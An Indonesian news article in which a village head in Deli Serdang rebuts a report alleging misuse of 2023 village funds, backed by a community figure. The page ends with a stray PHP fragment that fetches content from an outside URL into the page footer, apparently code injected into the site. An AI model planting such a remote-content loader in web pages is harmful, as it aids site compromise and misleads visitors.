Arisandi Kepala Desa Tanjung Garbus II Kecamatan Pagar Merbau Berikan Bantahan

Senin, 30 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Deli Serdang | Jejakkasus.info – Terkait adanya pemberitaan yang ditayangkan di salahsatu media online Sumatera Utara bahwa adanya kecurigaan dari lembaga swadaya masyarakat (LSM) tentang kegiatan pemerintahan desa Tanjung Garbus II dengan judul ADA APA DENGAN PENGGUNAAN ANGGARAN DANA DESA TANJUNG GARBUS II per tanggal 25 September 2024 yang lalu

Tim awak media menelusuri dan melakukan konfirmasi terkait perihal tersebut Minggu (29-09-2024) kepada Kepala Desa Tanjung Garbus II ARISANDI mengatakan ” tahun 2023 penggunaan dana desa yang diterima untuk Desa Tanjung Garbus II sesuai prosedur telah terlaksana dengan baik dan kami salurkan sesuai kebutuhan permintaan masyarakat dan hasil musrenbang tahun 2023 seperti pembelian ternak sapi, pembangunan irigasi, kegiatan PKK, BLT, Ketapang, serta kegiatan lainnya sesuai kebutuhan yang telah diputuskan dalam musrenbang dan telah disetujui oleh PMD atau Dinas terkait Kabupaten Deli Serdang ” jelasnya

Baca Juga:  Ketua Umum LSM Gmicak Dukung M Yunus Memeberikan Suport Pemain Sepak Bola Persewangi.

Lanjut Arisandi ” saya selaku kepala desa Tanjung Garbus II yang mempertanggungjawabkan dalam penggunaan anggaran atau dana yang bersumber dari Dana Desa dan Alokasi Dana Desa , apapun yang kami kerjakan sama sekali bukan atas kehendak ataupun kemauan saya pribadi namun semua sesuai permintaan dan kebutuhan warga masyarakat” ungkapnya

Masih penjelasan Kepala Desa Tanjung Garbus II Arisandi ” DALAM PEMBERITAAN yang telah ditayangkan beberapa hari yang lalu terus terang saya merasa kecewa karena hal yang disampaikan dalam pemberitaan itu TIDAK BENAR, seperti BLT di sebutkan sebesar 270 juta itu sama sekali TIDAK BENAR karena penerima manfaat BLT untuk warga Desa Tanjung Garbus II sebanyak 54 kepala keluarga dan masing-masing kepala keluarga mendapat bantuan sebesar uang tunai Rp.300.000/bulan (setahun) bila di Jumlahkan 54 X Rp.300.000 X 12 bulan = jumlah total sebesar Rp.194.400.000,- ( seratus sembilan puluh empat juta empat ratus ribu rupiah ), maka dengan ini sekali lagi saya nyatakan bahwa pemberitaan yang telah dilakukan oleh salahsatu media online Sumatera Utara saya nyatakan TIDAK BENAR ” pungkasnya

Baca Juga:  Tahapan Pilkada 2024, Polsek Selemadeg tingkatkan Patroli Malam

Anwar Warga pemuka masyarakat desa Tanjung Garbus II kecamatan Pagar Merbau menjelaskan kepada awak media Minggu (29-09-2024) mengatakan ” kegiatan pembangunan ataupun kegiatan-kegiatan lainnya di tahun 2023 sesuai yang saya lihat telah dilaksanakan sesuai kebutuhan yang kami usulkan saat Musrenbang desa tahun 2023 seperti Ketapang pemberian bantuan berjenis unggas , pemberdayaan yang dilakukan oleh ibu-ibu PKK dan pelatihan seperti kerajinan tangan dan membuat kue ataupun makanan, posyandu, pembangunan irigasi, bantuan langsung tunai, perayaan hari besar Islam atau perayaan kemerdekaan Republik Indonesia 17 Agustus 2024 dan pembelian sapi. Intinya saya selaku pemuka masyarakat dan bersama BPD desa Tanjung Garbus II selalu memantau tentang kinerja ataupun kegiatan yang dilakukan oleh Kepala Desa beserta perangkat-perangkatnya dalam hal yang terkait dengan kegiatan sesuai usulan ataupun permintaan saat musrenbang desa setiap tahunnya ” jelasnya (rul/tim)

Baca Juga:  Pasca Sebby Sambom dan Dua WNA Menyusup Ilegal: OPM Bunuh Satu Warga dan Dua Orang Luka Tembak
Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Diduga Nama dan Tanda Tangan Dipalsukan untuk Kredit di BPR Weleri Makmur, Warga Berencana Melapor Ke Polisi
Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari

Berita Terkait

Jumat, 11 Oktober 2024 - 17:20 WIB

Diduga Nama dan Tanda Tangan Dipalsukan untuk Kredit di BPR Weleri Makmur, Warga Berencana Melapor Ke Polisi

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:34 WIB

Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Kamis, 10 Oktober 2024 - 21:31 WIB

Kasus di Kejari Langkat yang sempat jadi DPO

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>